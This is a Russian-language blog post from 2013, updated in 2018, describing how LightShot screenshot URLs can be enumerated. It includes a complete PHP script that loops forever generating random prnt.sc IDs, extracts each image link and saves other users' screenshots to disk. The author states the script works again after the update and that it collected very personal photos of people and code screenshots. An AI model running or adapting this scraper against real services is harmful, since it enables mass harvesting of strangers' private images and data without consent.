14 October 2013

LightShot и чужие скриншоты

Information Security
LightShot logo

Сегодня я наткнулся на одну «уязвимость» сервиса для моментальных скриншотов LightShot.

Всё началось с того, что я загрузил очередной скриншот и вспомнил недавнюю статью на хабре, где сливались пользовательские данные по ссылкам методом перебора.
Попробовав изменить одну букву в URL'e, мне любезно выдало чужой скриншот.

Для начала я попытался понять по какой маске генерируется ссылка вида http://prntscr.com/1npf9n
После небольших экспериментов, понял что маска скорее всего вида prntscr.com/1[a-z0–9] (после цифры 1 идет от 4 до 5 рандомных символов)
Так же я попробовал ссылки http://prntscr.com/login и http://prntscr.com/admin, по которым тоже увидел скриншоты.
Вероятнее всего алгоритм немного переписывался, и текущий алгоритм генерации ссылки устроен так, что исчерпав все варианты комбинаций, либо увеличится длина ссылки до 7 символов, либо маска станет prntscr.com/2[a-z0–9]

В процессе обнаружил одну особенность сервиса — он не хранит картинки у себя на сервере, а заливает их через API на imgur.com и imageshack.us

Меня терзало любопытство: «А можно ли скачать все скриншоты?»
И было решено написать небольшой скрипт. Сначала хотел писать на Python, но он не установлен на моем рабочем ноутбуке, зато под руку попался Denwer и PHP.
Просьба не пинать меня за мой код, который был написан за 5 минут на скорую руку. Он вполне рабочий.

<?php
set_time_limit(0); // убираем ограничение по времени выполнения скрипта
ob_implicit_flush();

function random_string($length)
{ // функция генерации рандомной строки
	$chars = "abcdefghijklmnopqrstuvwxyz1234567890"; // символы из которых генерируем
	$numChars = strlen($chars); // Определяем длину $chars
	$string = ''; // задаем пустую переменную
	for ($i = 0; $i < $length; $i++) { // Собираем строку
		$string.= substr($chars, rand(1, $numChars) - 1, 1);
	}
	return $string; // Возвращаем готовую строку
}

function get_http_response_code($url) { // функция проверки http кода
	$headers = get_headers($url);
	return substr($headers[0], 9, 3);
}

if (!file_exists('lightshot_images')) { // создаем директорию куда сохранять картинки, если отсутствует
	mkdir('lightshot_images', 0777);
}

$options = array(
	'http' => array(
		'method' => "GET",
		'header' => "Accept-language: en\r\n" . "User-Agent: Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.102011-10-16 20:23:10\r\n"
	)
);
$context = stream_context_create($options);

while (1) {
	$randstring = random_string(5); // генерируем рандомную сроку
	$htmldata = file_get_contents('https://prnt.sc/m' . $randstring, false, $context); // подставляем рандомную строку и получаем код страницы
	preg_match_all('/<meta name=\"twitter:image:src\" content=\"(.*?)\"\/>/is', $htmldata, $img_url); // парсим регуляркой url картинки
	if (strlen($img_url[1][0]) > 1) { // проверяем длину полученной строки, если больше 1 - картинка по этому адресу есть
		$imgs = str_replace('//st.prntscr', 'https://st.prntscr', $img_url[1][0]);
		$localname = array_pop(explode('/', $img_url[1][0])); // разбиваем строку в массив и извлекаем последний элемент массива (т.е. imagename.png)
		$localpath = "./lightshot_images/" . $localname; // определяем куда будет сохраняться картинка локально.
		if (get_http_response_code($imgs) != "200") {
			echo "<span style='color:red;display:block;margin-bottom:10px;font-size:14px;'>404. По адресу " . $imgs . " картинки больше нет :(</span>";
		} else {
			file_put_contents($localpath, file_get_contents($imgs, false, $context)); // скачиваем, можно было бы реализовать через curl, но на мой взгляд это проще и быстрее
			echo "<span style='color:green;display:block;margin-bottom:10px;font-size:14px;'>Сохранение - " . $localname . " , url - http://prntscr.com/m" . $randstring . " , скачиваем с " . $imgs . "</span>";
		}
	} else {
		echo "<span style='color:red;display:block;margin-bottom:10px;font-size:14px;'>По адресу http://prntscr.com/m" . $randstring . " нет картинки</span>";
	}
}
?>


Результат выполнения в браузере (как видно, ~95% сгенерированных рандомных ссылок выдают скриншоты)
image
В итоге накачал целую кучу скриншотов, среди которых есть слишком личные фото людей, скриншоты кода, и много других интересных вещей.

UPD 2018: Поправил скрипт с учетом изменений произошедших на lightshot. Теперь снова работает.
Tags:LightShotскриншоты
Hubs: Information Security
-5
96k 16
Comments 25